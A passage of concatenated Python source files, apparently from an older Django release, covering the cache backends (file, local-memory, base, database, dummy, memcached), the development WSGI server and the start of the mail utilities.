            return  # return early if no culling is required
        if self._cull_frequency == 0:
            return self.clear()  # Clear the cache when CULL_FREQUENCY = 0
        # Delete a random selection of entries
        filelist = random.sample(filelist,
                                 int(num_entries / self._cull_frequency))
        for fname in filelist:
            self._delete(fname)

    def _createdir(self):
        if not os.path.exists(self._dir):
            try:
                os.makedirs(self._dir, 0o700)
            except OSError as e:
                if e.errno != errno.EEXIST:
                    raise EnvironmentError(
                        "Cache directory '%s' does not exist "
                        "and could not be created'" % self._dir)

    def _key_to_file(self, key, version=None):
        """
        Convert a key into a cache file path. Basically this is the
        root cache path joined with the md5sum of the key and a suffix.
        """
        key = self.make_key(key, version=version)
        self.validate_key(key)
        return os.path.join(self._dir, ''.join(
            [hashlib.md5(force_bytes(key)).hexdigest(), self.cache_suffix]))

    def clear(self):
        """
        Remove all the cache files.
        """
        if not os.path.exists(self._dir):
            return
        for fname in self._list_cache_files():
            self._delete(fname)

    def _is_expired(self, f):
        """
        Takes an open cache file and determines if it has expired,
        deletes the file if it is has passed its expiry time.
        """
        exp = pickle.load(f)
        if exp is not None and exp < time.time():
            f.close()  # On Windows a file has to be closed before deleting
            self._delete(f.name)
            return True
        return False

    def _list_cache_files(self):
        """
        Get a list of paths to all the cache files. These are all the files
        in the root cache dir that end on the cache_suffix.
        """
        if not os.path.exists(self._dir):
            return []
        filelist = [os.path.join(self._dir, fname) for fname
                    in glob.glob1(self._dir, '*%s' % self.cache_suffix)]
        return filelist






"Thread-safe in-memory cache backend."

import time
from contextlib import contextmanager

from django.core.cache.backends.base import DEFAULT_TIMEOUT, BaseCache
from django.utils.synch import RWLock

try:
    from django.utils.six.moves import cPickle as pickle
except ImportError:
    import pickle


# Global in-memory store of cache data. Keyed by name, to provide
# multiple named local memory caches.
_caches = {}
_expire_info = {}
_locks = {}


@contextmanager
def dummy():
    """A context manager that does nothing special."""
    yield


class LocMemCache(BaseCache):
    def __init__(self, name, params):
        BaseCache.__init__(self, params)
        self._cache = _caches.setdefault(name, {})
        self._expire_info = _expire_info.setdefault(name, {})
        self._lock = _locks.setdefault(name, RWLock())

    def add(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        pickled = pickle.dumps(value, pickle.HIGHEST_PROTOCOL)
        with self._lock.writer():
            if self._has_expired(key):
                self._set(key, pickled, timeout)
                return True
            return False

    def get(self, key, default=None, version=None, acquire_lock=True):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        pickled = None
        with (self._lock.reader() if acquire_lock else dummy()):
            if not self._has_expired(key):
                pickled = self._cache[key]
        if pickled is not None:
            try:
                return pickle.loads(pickled)
            except pickle.PickleError:
                return default

        with (self._lock.writer() if acquire_lock else dummy()):
            try:
                del self._cache[key]
                del self._expire_info[key]
            except KeyError:
                pass
            return default

    def _set(self, key, value, timeout=DEFAULT_TIMEOUT):
        if len(self._cache) >= self._max_entries:
            self._cull()
        self._cache[key] = value
        self._expire_info[key] = self.get_backend_timeout(timeout)

    def set(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        pickled = pickle.dumps(value, pickle.HIGHEST_PROTOCOL)
        with self._lock.writer():
            self._set(key, pickled, timeout)

    def incr(self, key, delta=1, version=None):
        with self._lock.writer():
            value = self.get(key, version=version, acquire_lock=False)
            if value is None:
                raise ValueError("Key '%s' not found" % key)
            new_value = value + delta
            key = self.make_key(key, version=version)
            pickled = pickle.dumps(new_value, pickle.HIGHEST_PROTOCOL)
            self._cache[key] = pickled
        return new_value

    def has_key(self, key, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        with self._lock.reader():
            if not self._has_expired(key):
                return True

        with self._lock.writer():
            try:
                del self._cache[key]
                del self._expire_info[key]
            except KeyError:
                pass
            return False

    def _has_expired(self, key):
        exp = self._expire_info.get(key, -1)
        if exp is None or exp > time.time():
            return False
        return True

    def _cull(self):
        if self._cull_frequency == 0:
            self.clear()
        else:
            doomed = [k for (i, k) in enumerate(self._cache) if i % self._cull_frequency == 0]
            for k in doomed:
                self._delete(k)

    def _delete(self, key):
        try:
            del self._cache[key]
        except KeyError:
            pass
        try:
            del self._expire_info[key]
        except KeyError:
            pass

    def delete(self, key, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        with self._lock.writer():
            self._delete(key)

    def clear(self):
        self._cache.clear()
        self._expire_info.clear()






"Base Cache class."
from __future__ import unicode_literals

import time
import warnings

from django.core.exceptions import DjangoRuntimeWarning, ImproperlyConfigured
from django.utils.module_loading import import_string


class InvalidCacheBackendError(ImproperlyConfigured):
    pass


class CacheKeyWarning(DjangoRuntimeWarning):
    pass


# Stub class to ensure not passing in a `timeout` argument results in
# the default timeout
DEFAULT_TIMEOUT = object()

# Memcached does not accept keys longer than this.
MEMCACHE_MAX_KEY_LENGTH = 250


def default_key_func(key, key_prefix, version):
    """
    Default function to generate keys.

    Constructs the key used by all other methods. By default it prepends
    the `key_prefix'. KEY_FUNCTION can be used to specify an alternate
    function with custom key making behavior.
    """
    return '%s:%s:%s' % (key_prefix, version, key)


def get_key_func(key_func):
    """
    Function to decide which key function to use.

    Defaults to ``default_key_func``.
    """
    if key_func is not None:
        if callable(key_func):
            return key_func
        else:
            return import_string(key_func)
    return default_key_func


class BaseCache(object):
    def __init__(self, params):
        timeout = params.get('timeout', params.get('TIMEOUT', 300))
        if timeout is not None:
            try:
                timeout = int(timeout)
            except (ValueError, TypeError):
                timeout = 300
        self.default_timeout = timeout

        options = params.get('OPTIONS', {})
        max_entries = params.get('max_entries', options.get('MAX_ENTRIES', 300))
        try:
            self._max_entries = int(max_entries)
        except (ValueError, TypeError):
            self._max_entries = 300

        cull_frequency = params.get('cull_frequency', options.get('CULL_FREQUENCY', 3))
        try:
            self._cull_frequency = int(cull_frequency)
        except (ValueError, TypeError):
            self._cull_frequency = 3

        self.key_prefix = params.get('KEY_PREFIX', '')
        self.version = params.get('VERSION', 1)
        self.key_func = get_key_func(params.get('KEY_FUNCTION'))

    def get_backend_timeout(self, timeout=DEFAULT_TIMEOUT):
        """
        Returns the timeout value usable by this backend based upon the provided
        timeout.
        """
        if timeout == DEFAULT_TIMEOUT:
            timeout = self.default_timeout
        elif timeout == 0:
            # ticket 21147 - avoid time.time() related precision issues
            timeout = -1
        return None if timeout is None else time.time() + timeout

    def make_key(self, key, version=None):
        """Constructs the key used by all other methods. By default it
        uses the key_func to generate a key (which, by default,
        prepends the `key_prefix' and 'version'). A different key
        function can be provided at the time of cache construction;
        alternatively, you can subclass the cache backend to provide
        custom key making behavior.
        """
        if version is None:
            version = self.version

        new_key = self.key_func(key, self.key_prefix, version)
        return new_key

    def add(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        """
        Set a value in the cache if the key does not already exist. If
        timeout is given, that timeout will be used for the key; otherwise
        the default cache timeout will be used.

        Returns True if the value was stored, False otherwise.
        """
        raise NotImplementedError('subclasses of BaseCache must provide an add() method')

    def get(self, key, default=None, version=None):
        """
        Fetch a given key from the cache. If the key does not exist, return
        default, which itself defaults to None.
        """
        raise NotImplementedError('subclasses of BaseCache must provide a get() method')

    def set(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        """
        Set a value in the cache. If timeout is given, that timeout will be
        used for the key; otherwise the default cache timeout will be used.
        """
        raise NotImplementedError('subclasses of BaseCache must provide a set() method')

    def delete(self, key, version=None):
        """
        Delete a key from the cache, failing silently.
        """
        raise NotImplementedError('subclasses of BaseCache must provide a delete() method')

    def get_many(self, keys, version=None):
        """
        Fetch a bunch of keys from the cache. For certain backends (memcached,
        pgsql) this can be *much* faster when fetching multiple values.

        Returns a dict mapping each key in keys to its value. If the given
        key is missing, it will be missing from the response dict.
        """
        d = {}
        for k in keys:
            val = self.get(k, version=version)
            if val is not None:
                d[k] = val
        return d

    def get_or_set(self, key, default, timeout=DEFAULT_TIMEOUT, version=None):
        """
        Fetch a given key from the cache. If the key does not exist,
        the key is added and set to the default value. The default value can
        also be any callable. If timeout is given, that timeout will be used
        for the key; otherwise the default cache timeout will be used.

        Return the value of the key stored or retrieved.
        """
        val = self.get(key, version=version)
        if val is None and default is not None:
            if callable(default):
                default = default()
            self.add(key, default, timeout=timeout, version=version)
            # Fetch the value again to avoid a race condition if another caller
            # added a value between the first get() and the add() above.
            return self.get(key, default, version=version)
        return val

    def has_key(self, key, version=None):
        """
        Returns True if the key is in the cache and has not expired.
        """
        return self.get(key, version=version) is not None

    def incr(self, key, delta=1, version=None):
        """
        Add delta to value in the cache. If the key does not exist, raise a
        ValueError exception.
        """
        value = self.get(key, version=version)
        if value is None:
            raise ValueError("Key '%s' not found" % key)
        new_value = value + delta
        self.set(key, new_value, version=version)
        return new_value

    def decr(self, key, delta=1, version=None):
        """
        Subtract delta from value in the cache. If the key does not exist, raise
        a ValueError exception.
        """
        return self.incr(key, -delta, version=version)

    def __contains__(self, key):
        """
        Returns True if the key is in the cache and has not expired.
        """
        # This is a separate method, rather than just a copy of has_key(),
        # so that it always has the same functionality as has_key(), even
        # if a subclass overrides it.
        return self.has_key(key)

    def set_many(self, data, timeout=DEFAULT_TIMEOUT, version=None):
        """
        Set a bunch of values in the cache at once from a dict of key/value
        pairs.  For certain backends (memcached), this is much more efficient
        than calling set() multiple times.

        If timeout is given, that timeout will be used for the key; otherwise
        the default cache timeout will be used.
        """
        for key, value in data.items():
            self.set(key, value, timeout=timeout, version=version)

    def delete_many(self, keys, version=None):
        """
        Delete a bunch of values in the cache at once. For certain backends
        (memcached), this is much more efficient than calling delete() multiple
        times.
        """
        for key in keys:
            self.delete(key, version=version)

    def clear(self):
        """Remove *all* values from the cache at once."""
        raise NotImplementedError('subclasses of BaseCache must provide a clear() method')

    def validate_key(self, key):
        """
        Warn about keys that would not be portable to the memcached
        backend. This encourages (but does not force) writing backend-portable
        cache code.
        """
        if len(key) > MEMCACHE_MAX_KEY_LENGTH:
            warnings.warn(
                'Cache key will cause errors if used with memcached: %r '
                '(longer than %s)' % (key, MEMCACHE_MAX_KEY_LENGTH), CacheKeyWarning
            )
        for char in key:
            if ord(char) < 33 or ord(char) == 127:
                warnings.warn(
                    'Cache key contains characters that will cause errors if '
                    'used with memcached: %r' % key, CacheKeyWarning
                )
                break

    def incr_version(self, key, delta=1, version=None):
        """Adds delta to the cache version for the supplied key. Returns the
        new version.
        """
        if version is None:
            version = self.version

        value = self.get(key, version=version)
        if value is None:
            raise ValueError("Key '%s' not found" % key)

        self.set(key, value, version=version + delta)
        self.delete(key, version=version)
        return version + delta

    def decr_version(self, key, delta=1, version=None):
        """Subtracts delta from the cache version for the supplied key. Returns
        the new version.
        """
        return self.incr_version(key, -delta, version)

    def close(self, **kwargs):
        """Close the cache connection"""
        pass






"Database cache backend."
import base64
from datetime import datetime

from django.conf import settings
from django.core.cache.backends.base import DEFAULT_TIMEOUT, BaseCache
from django.db import DatabaseError, connections, models, router, transaction
from django.utils import six, timezone
from django.utils.encoding import force_bytes

try:
    from django.utils.six.moves import cPickle as pickle
except ImportError:
    import pickle


class Options(object):
    """A class that will quack like a Django model _meta class.

    This allows cache operations to be controlled by the router
    """
    def __init__(self, table):
        self.db_table = table
        self.app_label = 'django_cache'
        self.model_name = 'cacheentry'
        self.verbose_name = 'cache entry'
        self.verbose_name_plural = 'cache entries'
        self.object_name = 'CacheEntry'
        self.abstract = False
        self.managed = True
        self.proxy = False
        self.swapped = False


class BaseDatabaseCache(BaseCache):
    def __init__(self, table, params):
        BaseCache.__init__(self, params)
        self._table = table

        class CacheEntry(object):
            _meta = Options(table)
        self.cache_model_class = CacheEntry


class DatabaseCache(BaseDatabaseCache):

    # This class uses cursors provided by the database connection. This means
    # it reads expiration values as aware or naive datetimes, depending on the
    # value of USE_TZ and whether the database supports time zones. The ORM's
    # conversion and adaptation infrastructure is then used to avoid comparing
    # aware and naive datetimes accidentally.

    def get(self, key, default=None, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        db = router.db_for_read(self.cache_model_class)
        connection = connections[db]
        table = connection.ops.quote_name(self._table)

        with connection.cursor() as cursor:
            cursor.execute("SELECT cache_key, value, expires FROM %s "
                           "WHERE cache_key = %%s" % table, [key])
            row = cursor.fetchone()
        if row is None:
            return default

        expires = row[2]
        expression = models.Expression(output_field=models.DateTimeField())
        for converter in (connection.ops.get_db_converters(expression) +
                          expression.get_db_converters(connection)):
            expires = converter(expires, expression, connection, {})

        if expires < timezone.now():
            db = router.db_for_write(self.cache_model_class)
            connection = connections[db]
            with connection.cursor() as cursor:
                cursor.execute("DELETE FROM %s "
                               "WHERE cache_key = %%s" % table, [key])
            return default

        value = connection.ops.process_clob(row[1])
        return pickle.loads(base64.b64decode(force_bytes(value)))

    def set(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        self._base_set('set', key, value, timeout)

    def add(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        return self._base_set('add', key, value, timeout)

    def _base_set(self, mode, key, value, timeout=DEFAULT_TIMEOUT):
        timeout = self.get_backend_timeout(timeout)
        db = router.db_for_write(self.cache_model_class)
        connection = connections[db]
        table = connection.ops.quote_name(self._table)

        with connection.cursor() as cursor:
            cursor.execute("SELECT COUNT(*) FROM %s" % table)
            num = cursor.fetchone()[0]
            now = timezone.now()
            now = now.replace(microsecond=0)
            if timeout is None:
                exp = datetime.max
            elif settings.USE_TZ:
                exp = datetime.utcfromtimestamp(timeout)
            else:
                exp = datetime.fromtimestamp(timeout)
            exp = exp.replace(microsecond=0)
            if num > self._max_entries:
                self._cull(db, cursor, now)
            pickled = pickle.dumps(value, pickle.HIGHEST_PROTOCOL)
            b64encoded = base64.b64encode(pickled)
            # The DB column is expecting a string, so make sure the value is a
            # string, not bytes. Refs #19274.
            if six.PY3:
                b64encoded = b64encoded.decode('latin1')
            try:
                # Note: typecasting for datetimes is needed by some 3rd party
                # database backends. All core backends work without typecasting,
                # so be careful about changes here - test suite will NOT pick
                # regressions.
                with transaction.atomic(using=db):
                    cursor.execute("SELECT cache_key, expires FROM %s "
                                   "WHERE cache_key = %%s" % table, [key])
                    result = cursor.fetchone()

                    if result:
                        current_expires = result[1]
                        expression = models.Expression(output_field=models.DateTimeField())
                        for converter in (connection.ops.get_db_converters(expression) +
                                          expression.get_db_converters(connection)):
                            current_expires = converter(current_expires, expression, connection, {})

                    exp = connection.ops.adapt_datetimefield_value(exp)
                    if result and (mode == 'set' or (mode == 'add' and current_expires < now)):
                        cursor.execute("UPDATE %s SET value = %%s, expires = %%s "
                                       "WHERE cache_key = %%s" % table,
                                       [b64encoded, exp, key])
                    else:
                        cursor.execute("INSERT INTO %s (cache_key, value, expires) "
                                       "VALUES (%%s, %%s, %%s)" % table,
                                       [key, b64encoded, exp])
            except DatabaseError:
                # To be threadsafe, updates/inserts are allowed to fail silently
                return False
            else:
                return True

    def delete(self, key, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)

        db = router.db_for_write(self.cache_model_class)
        connection = connections[db]
        table = connection.ops.quote_name(self._table)

        with connection.cursor() as cursor:
            cursor.execute("DELETE FROM %s WHERE cache_key = %%s" % table, [key])

    def has_key(self, key, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)

        db = router.db_for_read(self.cache_model_class)
        connection = connections[db]
        table = connection.ops.quote_name(self._table)

        if settings.USE_TZ:
            now = datetime.utcnow()
        else:
            now = datetime.now()
        now = now.replace(microsecond=0)

        with connection.cursor() as cursor:
            cursor.execute("SELECT cache_key FROM %s "
                           "WHERE cache_key = %%s and expires > %%s" % table,
                           [key, connection.ops.adapt_datetimefield_value(now)])
            return cursor.fetchone() is not None

    def _cull(self, db, cursor, now):
        if self._cull_frequency == 0:
            self.clear()
        else:
            connection = connections[db]
            table = connection.ops.quote_name(self._table)
            cursor.execute("DELETE FROM %s WHERE expires < %%s" % table,
                           [connection.ops.adapt_datetimefield_value(now)])
            cursor.execute("SELECT COUNT(*) FROM %s" % table)
            num = cursor.fetchone()[0]
            if num > self._max_entries:
                cull_num = num // self._cull_frequency
                cursor.execute(
                    connection.ops.cache_key_culling_sql() % table,
                    [cull_num])
                cursor.execute("DELETE FROM %s "
                               "WHERE cache_key < %%s" % table,
                               [cursor.fetchone()[0]])

    def clear(self):
        db = router.db_for_write(self.cache_model_class)
        connection = connections[db]
        table = connection.ops.quote_name(self._table)
        with connection.cursor() as cursor:
            cursor.execute('DELETE FROM %s' % table)












"Dummy cache backend"

from django.core.cache.backends.base import DEFAULT_TIMEOUT, BaseCache


class DummyCache(BaseCache):
    def __init__(self, host, *args, **kwargs):
        BaseCache.__init__(self, *args, **kwargs)

    def add(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        return True

    def get(self, key, default=None, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        return default

    def set(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)

    def delete(self, key, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)

    def get_many(self, keys, version=None):
        return {}

    def has_key(self, key, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        return False

    def set_many(self, data, timeout=DEFAULT_TIMEOUT, version=None):
        pass

    def delete_many(self, keys, version=None):
        pass

    def clear(self):
        pass






"Memcached cache backend"

import pickle
import time

from django.core.cache.backends.base import DEFAULT_TIMEOUT, BaseCache
from django.utils import six
from django.utils.encoding import force_str
from django.utils.functional import cached_property


class BaseMemcachedCache(BaseCache):
    def __init__(self, server, params, library, value_not_found_exception):
        super(BaseMemcachedCache, self).__init__(params)
        if isinstance(server, six.string_types):
            self._servers = server.split(';')
        else:
            self._servers = server

        # The exception type to catch from the underlying library for a key
        # that was not found. This is a ValueError for python-memcache,
        # pylibmc.NotFound for pylibmc, and cmemcache will return None without
        # raising an exception.
        self.LibraryValueNotFoundException = value_not_found_exception

        self._lib = library
        self._options = params.get('OPTIONS')

    @property
    def _cache(self):
        """
        Implements transparent thread-safe access to a memcached client.
        """
        if getattr(self, '_client', None) is None:
            self._client = self._lib.Client(self._servers)

        return self._client

    def get_backend_timeout(self, timeout=DEFAULT_TIMEOUT):
        """
        Memcached deals with long (> 30 days) timeouts in a special
        way. Call this function to obtain a safe value for your timeout.
        """
        if timeout == DEFAULT_TIMEOUT:
            timeout = self.default_timeout

        if timeout is None:
            # Using 0 in memcache sets a non-expiring timeout.
            return 0
        elif int(timeout) == 0:
            # Other cache backends treat 0 as set-and-expire. To achieve this
            # in memcache backends, a negative timeout must be passed.
            timeout = -1

        if timeout > 2592000:  # 60*60*24*30, 30 days
            # See https://github.com/memcached/memcached/wiki/Programming#expiration
            # "Expiration times can be set from 0, meaning "never expire", to
            # 30 days. Any time higher than 30 days is interpreted as a Unix
            # timestamp date. If you want to expire an object on January 1st of
            # next year, this is how you do that."
            #
            # This means that we have to switch to absolute timestamps.
            timeout += int(time.time())
        return int(timeout)

    def make_key(self, key, version=None):
        # Python 2 memcache requires the key to be a byte string.
        return force_str(super(BaseMemcachedCache, self).make_key(key, version))

    def add(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        key = self.make_key(key, version=version)
        return self._cache.add(key, value, self.get_backend_timeout(timeout))

    def get(self, key, default=None, version=None):
        key = self.make_key(key, version=version)
        val = self._cache.get(key)
        if val is None:
            return default
        return val

    def set(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        key = self.make_key(key, version=version)
        if not self._cache.set(key, value, self.get_backend_timeout(timeout)):
            # make sure the key doesn't keep its old value in case of failure to set (memcached's 1MB limit)
            self._cache.delete(key)

    def delete(self, key, version=None):
        key = self.make_key(key, version=version)
        self._cache.delete(key)

    def get_many(self, keys, version=None):
        new_keys = [self.make_key(x, version=version) for x in keys]
        ret = self._cache.get_multi(new_keys)
        if ret:
            _ = {}
            m = dict(zip(new_keys, keys))
            for k, v in ret.items():
                _[m[k]] = v
            ret = _
        return ret

    def close(self, **kwargs):
        self._cache.disconnect_all()

    def incr(self, key, delta=1, version=None):
        key = self.make_key(key, version=version)
        # memcached doesn't support a negative delta
        if delta < 0:
            return self._cache.decr(key, -delta)
        try:
            val = self._cache.incr(key, delta)

        # python-memcache responds to incr on non-existent keys by
        # raising a ValueError, pylibmc by raising a pylibmc.NotFound
        # and Cmemcache returns None. In all cases,
        # we should raise a ValueError though.
        except self.LibraryValueNotFoundException:
            val = None
        if val is None:
            raise ValueError("Key '%s' not found" % key)
        return val

    def decr(self, key, delta=1, version=None):
        key = self.make_key(key, version=version)
        # memcached doesn't support a negative delta
        if delta < 0:
            return self._cache.incr(key, -delta)
        try:
            val = self._cache.decr(key, delta)

        # python-memcache responds to incr on non-existent keys by
        # raising a ValueError, pylibmc by raising a pylibmc.NotFound
        # and Cmemcache returns None. In all cases,
        # we should raise a ValueError though.
        except self.LibraryValueNotFoundException:
            val = None
        if val is None:
            raise ValueError("Key '%s' not found" % key)
        return val

    def set_many(self, data, timeout=DEFAULT_TIMEOUT, version=None):
        safe_data = {}
        for key, value in data.items():
            key = self.make_key(key, version=version)
            safe_data[key] = value
        self._cache.set_multi(safe_data, self.get_backend_timeout(timeout))

    def delete_many(self, keys, version=None):
        self._cache.delete_multi(self.make_key(key, version=version) for key in keys)

    def clear(self):
        self._cache.flush_all()


class MemcachedCache(BaseMemcachedCache):
    "An implementation of a cache binding using python-memcached"
    def __init__(self, server, params):
        import memcache
        super(MemcachedCache, self).__init__(server, params,
                                             library=memcache,
                                             value_not_found_exception=ValueError)

    @property
    def _cache(self):
        if getattr(self, '_client', None) is None:
            self._client = self._lib.Client(self._servers, pickleProtocol=pickle.HIGHEST_PROTOCOL)
        return self._client


class PyLibMCCache(BaseMemcachedCache):
    "An implementation of a cache binding using pylibmc"
    def __init__(self, server, params):
        import pylibmc
        super(PyLibMCCache, self).__init__(server, params,
                                           library=pylibmc,
                                           value_not_found_exception=pylibmc.NotFound)

    @cached_property
    def _cache(self):
        client = self._lib.Client(self._servers)
        if self._options:
            client.behaviors = self._options

        return client






"""
HTTP server that implements the Python WSGI protocol (PEP 333, rev 1.21).

Based on wsgiref.simple_server which is part of the standard library since 2.5.

This is a simple server for use in testing or debugging Django apps. It hasn't
been reviewed for security issues. DON'T USE IT FOR PRODUCTION USE!
"""

from __future__ import unicode_literals

import logging
import socket
import sys
from wsgiref import simple_server

from django.core.exceptions import ImproperlyConfigured
from django.core.wsgi import get_wsgi_application
from django.utils import six
from django.utils.module_loading import import_string
from django.utils.six.moves import socketserver

__all__ = ('WSGIServer', 'WSGIRequestHandler')

logger = logging.getLogger('django.server')


def get_internal_wsgi_application():
    """
    Loads and returns the WSGI application as configured by the user in
    ``settings.WSGI_APPLICATION``. With the default ``startproject`` layout,
    this will be the ``application`` object in ``projectname/wsgi.py``.

    This function, and the ``WSGI_APPLICATION`` setting itself, are only useful
    for Django's internal server (runserver); external WSGI servers should just
    be configured to point to the correct application object directly.

    If settings.WSGI_APPLICATION is not set (is ``None``), we just return
    whatever ``django.core.wsgi.get_wsgi_application`` returns.
    """
    from django.conf import settings
    app_path = getattr(settings, 'WSGI_APPLICATION')
    if app_path is None:
        return get_wsgi_application()

    try:
        return import_string(app_path)
    except ImportError as e:
        msg = (
            "WSGI application '%(app_path)s' could not be loaded; "
            "Error importing module: '%(exception)s'" % ({
                'app_path': app_path,
                'exception': e,
            })
        )
        six.reraise(ImproperlyConfigured, ImproperlyConfigured(msg),
                    sys.exc_info()[2])


def is_broken_pipe_error():
    exc_type, exc_value = sys.exc_info()[:2]
    return issubclass(exc_type, socket.error) and exc_value.args[0] == 32


class WSGIServer(simple_server.WSGIServer, object):
    """BaseHTTPServer that implements the Python WSGI protocol"""

    request_queue_size = 10

    def __init__(self, *args, **kwargs):
        if kwargs.pop('ipv6', False):
            self.address_family = socket.AF_INET6
        self.allow_reuse_address = kwargs.pop('allow_reuse_address', True)
        super(WSGIServer, self).__init__(*args, **kwargs)

    def server_bind(self):
        """Override server_bind to store the server name."""
        super(WSGIServer, self).server_bind()
        self.setup_environ()

    def handle_error(self, request, client_address):
        if is_broken_pipe_error():
            logger.info("- Broken pipe from %s\n", client_address)
        else:
            super(WSGIServer, self).handle_error(request, client_address)


# Inheriting from object required on Python 2.
class ServerHandler(simple_server.ServerHandler, object):
    def handle_error(self):
        # Ignore broken pipe errors, otherwise pass on
        if not is_broken_pipe_error():
            super(ServerHandler, self).handle_error()


class WSGIRequestHandler(simple_server.WSGIRequestHandler, object):
    def address_string(self):
        # Short-circuit parent method to not call socket.getfqdn
        return self.client_address[0]

    def log_message(self, format, *args):
        extra = {
            'request': self.request,
            'server_time': self.log_date_time_string(),
        }
        if args[1][0] == '4':
            # 0x16 = Handshake, 0x03 = SSL 3.0 or TLS 1.x
            if args[0].startswith(str('\x16\x03')):
                extra['status_code'] = 500
                logger.error(
                    "You're accessing the development server over HTTPS, but "
                    "it only supports HTTP.\n", extra=extra,
                )
                return

        if args[1].isdigit() and len(args[1]) == 3:
            status_code = int(args[1])
            extra['status_code'] = status_code

            if status_code >= 500:
                level = logger.error
            elif status_code >= 400:
                level = logger.warning
            else:
                level = logger.info
        else:
            level = logger.info

        level(format, *args, extra=extra)

    def get_environ(self):
        # Strip all headers with underscores in the name before constructing
        # the WSGI environ. This prevents header-spoofing based on ambiguity
        # between underscores and dashes both normalized to underscores in WSGI
        # env vars. Nginx and Apache 2.4+ both do this as well.
        for k, v in self.headers.items():
            if '_' in k:
                del self.headers[k]

        return super(WSGIRequestHandler, self).get_environ()

    def handle(self):
        """Copy of WSGIRequestHandler, but with different ServerHandler"""

        self.raw_requestline = self.rfile.readline(65537)
        if len(self.raw_requestline) > 65536:
            self.requestline = ''
            self.request_version = ''
            self.command = ''
            self.send_error(414)
            return

        if not self.parse_request():  # An error code has been sent, just exit
            return

        handler = ServerHandler(
            self.rfile, self.wfile, self.get_stderr(), self.get_environ()
        )
        handler.request_handler = self      # backpointer for logging
        handler.run(self.server.get_app())


def run(addr, port, wsgi_handler, ipv6=False, threading=False):
    server_address = (addr, port)
    if threading:
        httpd_cls = type(str('WSGIServer'), (socketserver.ThreadingMixIn, WSGIServer), {})
    else:
        httpd_cls = WSGIServer
    httpd = httpd_cls(server_address, WSGIRequestHandler, ipv6=ipv6)
    if threading:
        # ThreadingMixIn.daemon_threads indicates how threads will behave on an
        # abrupt shutdown; like quitting the server by the user or restarting
        # by the auto-reloader. True means the server will not wait for thread
        # termination before it quits. This will make auto-reloader faster
        # and will prevent the need to kill the server manually if a thread
        # isn't terminating correctly.
        httpd.daemon_threads = True
    httpd.set_app(wsgi_handler)
    httpd.serve_forever()












"""
Tools for sending email.
"""
from __future__ import unicode_literals

from django.conf import settings
# Imported for backwards compatibility and for the sake
# of a cleaner namespace. These symbols used to be in
# django/core/mail.py before the introduction of email
# backends and the subsequent reorganization (See #10355)
from django.core.mail.message import (
    DEFAULT_ATTACHMENT_MIME_TYPE, BadHeaderError, EmailMessage,
    EmailMultiAlternatives, SafeMIMEMultipart, SafeMIMEText,
    forbid_multi_line_headers, make_msgid,
)
from django.core.mail.utils import DNS_NAME, CachedDnsName
from django.utils.module_loading import import_string

__all__ = [
    'CachedDnsName', 'DNS_NAME', 'EmailMessage', 'EmailMultiAlternatives',
    'SafeMIMEText', 'SafeMIMEMultipart', 'DEFAULT_ATTACHMENT_MIME_TYPE',
    'make_msgid', 'BadHeaderError', 'forbid_multi_line_headers',
    'get_connection', 'send_mail', 'send_mass_mail', 'mail_admins',
    'mail_managers',
]


def get_connection(backend=None, fail_silently=False, **kwds):
    """Load an email backend and return an instance of it.

    If backend is None (default) settings.EMAIL_BACKEND is used.

    Both fail_silently and other keyword arguments are used in the
    constructor of the backend.
    """
    klass = import_string(backend or settings.EMAIL_BACKEND)
    return klass(fail_silently=fail_silently, **kwds)


def send_mail(subject, message, from_email, recipient_list,
              fail_silently=False, auth_user=None, auth_password=None,
              connection=None, html_message=None):
    """
    Easy wrapper for sending a single message to a recipient list. All members
    of the recipient list will see the other recipients in the 'To' field.

    If auth_user is None, the EMAIL_HOST_USER setting is used.
    If auth_password is None, the EMAIL_HOST_PASSWORD setting is used.

    Note: The API for this method is frozen. New code wanting to extend the
    functionality should use the EmailMessage class directly.
    """
    connection = connection or get_connection(
        username=auth_user,
        password=auth_password,
        fail_silently=fail_silently,
    )
    mail = EmailMultiAlternatives(subject, message, from_email, recipient_list, connection=connection)
    if html_message:
        mail.attach_alternative(html_message, 'text/html')

    return mail.send()


def send_mass_mail(datatuple, fail_silently=False, auth_user=None,
                   auth_password=None, connection=None):
    """
    Given a datatuple of (subject, message, from_email, recipient_list), sends
    each message to each recipient list. Returns the number of emails sent.

    If from_email is None, the DEFAULT_FROM_EMAIL setting is used.
    If auth_user and auth_password are set, they're used to log in.
    If auth_user is None, the EMAIL_HOST_USER setting is used.
    If auth_password is None, the EMAIL_HOST_PASSWORD setting is used.

    Note: The API for this method is frozen. New code wanting to extend the
    functionality should use the EmailMessage class directly.
    """
    connection = connection or get_connection(
        username=auth_user,
        password=auth_password,
        fail_silently=fail_silently,
    )
    messages = [
        EmailMessage(subject, message, sender, recipient, connection=connection)
        for subject, message, sender, recipient in datatuple
    ]
    return connection.send_messages(messages)


def mail_admins(subject, message, fail_silently=False, connection=None,
                html_message=None):
    """Sends a message to the admins, as defined by the ADMINS setting."""
    if not settings.ADMINS:
        return
    mail = EmailMultiAlternatives(
        '%s%s' % (settings.EMAIL_SUBJECT_PREFIX, subject), message,
        settings.SERVER_EMAIL, [a[1] for a in settings.ADMINS],
        connection=connection,
    )
    if html_message:
